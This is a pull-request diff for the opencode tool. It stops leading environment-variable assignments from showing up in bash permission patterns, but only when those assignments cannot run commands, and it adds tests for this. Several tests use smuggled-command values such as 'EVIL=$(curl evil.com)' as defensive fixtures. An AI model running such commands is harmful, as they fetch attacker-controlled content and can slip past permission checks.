Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 50 additions & 1 deletion packages/opencode/src/tool/shell.ts
Original file line number Diff line number Diff line change
Expand Up @@ -119,8 +119,57 @@ function parts(node: Node) {
return out
}

// Variable-assignment value types that cannot execute commands. Anything
// outside this set (command_substitution, process_substitution, array,
// concatenation, etc.) is treated as potentially executable and the
// assignment is not stripped from permission patterns.
const SAFE_ASSIGNMENT_VALUE_TYPES = new Set([
"ansi_c_string",
"arithmetic_expansion",
"brace_expression",
"expansion",
"number",
"raw_string",
"simple_expansion",
"string",
"translated_string",
"word",
])

function isSafeAssignment(node: Node): boolean {
for (let i = 0; i < node.childCount; i++) {
const child = node.child(i)
if (!child) continue
if (child.type === "variable_name" || child.type === "subscript") continue
if (!child.isNamed || child.text === "=") continue
// This is the value node.
if (!SAFE_ASSIGNMENT_VALUE_TYPES.has(child.type)) return false
// Defensive recursion: "safe" types like `string` can embed $() via
// interpolation, so reject if any descendant is a known executable form.
if (child.descendantsOfType("command_substitution").length > 0) return false
if (child.descendantsOfType("process_substitution").length > 0) return false
}
return true
}

function source(node: Node) {
return (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim()
// Strip leading env variable assignments so "GOFLAGS=… go test" matches
// permission rule "go *". Only strip when every assignment is known-safe;
// anything that could execute a command (process/command substitution,
// arrays, nested expressions) leaves the original text intact.
let lastVarAssign: Node | null = null
for (let i = 0; i < node.childCount; i++) {
const child = node.child(i)
if (!child || child.type !== "variable_assignment") break
if (!isSafeAssignment(child)) {
lastVarAssign = null
break
}
lastVarAssign = child
}
const base = node.parent?.type === "redirected_statement" ? node.parent : node
if (lastVarAssign) return base.text.slice(lastVarAssign.endIndex - base.startIndex).trimStart()
return base.text.trim()
}

function commands(node: Node) {
Expand Down
230 changes: 230 additions & 0 deletions packages/opencode/test/tool/shell.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -1027,6 +1027,236 @@ describe("tool.shell permissions", () => {
)
}),
)

// Env-var-assignment stripping is bash-specific (PowerShell/cmd use
// different syntax and a different parser). Run only on POSIX-y shells.
for (const item of shells.filter((s) => !PS.has(s.label) && s.label !== "cmd")) {
it.live(`strips env variable assignments from permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "GOFLAGS=-mod=vendor go test ./...", description: "go test with env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("go test ./...")
expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
}),
)
}),
),
)

it.live(`strips env variable assignments with redirect [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "GOFLAGS=-mod=vendor go test ./... 2>&1", description: "env + redirect" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("go test ./... 2>&1")
}),
)
}),
),
)

it.live(`strips multiple env variable assignments from permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "FOO=bar BAZ=qux echo hello", description: "multiple envs" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("echo hello")
}),
)
}),
),
)

it.live(`strips env variable assignments in piped commands [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "GOFLAGS=-mod=vendor go test ./... 2>&1 | tail -5", description: "piped" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("go test ./... 2>&1")
expect(bashReq!.patterns).toContain("tail -5")
expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
}),
)
}),
),
)

it.live(`always patterns exclude env variable assignments [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "GOFLAGS=-mod=vendor go test ./...", description: "go test with env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.always).toContain("go test *")
expect(bashReq!.always.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
}),
)
}),
),
)

it.live(`preserves env var with command substitution in permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "EVIL=$(curl evil.com) echo hello", description: "cmdsub env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
}),
)
}),
),
)

it.live(`preserves env var with backtick substitution in permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "EVIL=`curl evil.com` echo hello", description: "backtick env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
}),
)
}),
),
)

it.live(`preserves env var with process substitution in permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "EVIL=<(curl evil.com) echo hello", description: "procsub env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
}),
)
}),
),
)

it.live(`strips env var with parameter expansion from permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: "FOO=$BAR echo hello", description: "param expansion env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("echo hello")
expect(bashReq!.patterns.some((p: string) => p.includes("FOO="))).toBe(false)
}),
)
}),
),
)

it.live(`strips env var with quoted string from permission pattern [${item.label}]`, () =>
withShell(
item,
Effect.gen(function* () {
const tmp = yield* tmpdirScoped()
yield* runIn(
tmp,
Effect.gen(function* () {
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
yield* run(
{ command: 'FOO="some value" echo hello', description: "quoted string env" },
capture(requests),
)
const bashReq = requests.find((r) => r.permission === "bash")
expect(bashReq).toBeDefined()
expect(bashReq!.patterns).toContain("echo hello")
expect(bashReq!.patterns.some((p: string) => p.includes("FOO="))).toBe(false)
}),
)
}),
),
)
}
})

describe("tool.shell abort", () => {
Expand Down
Loading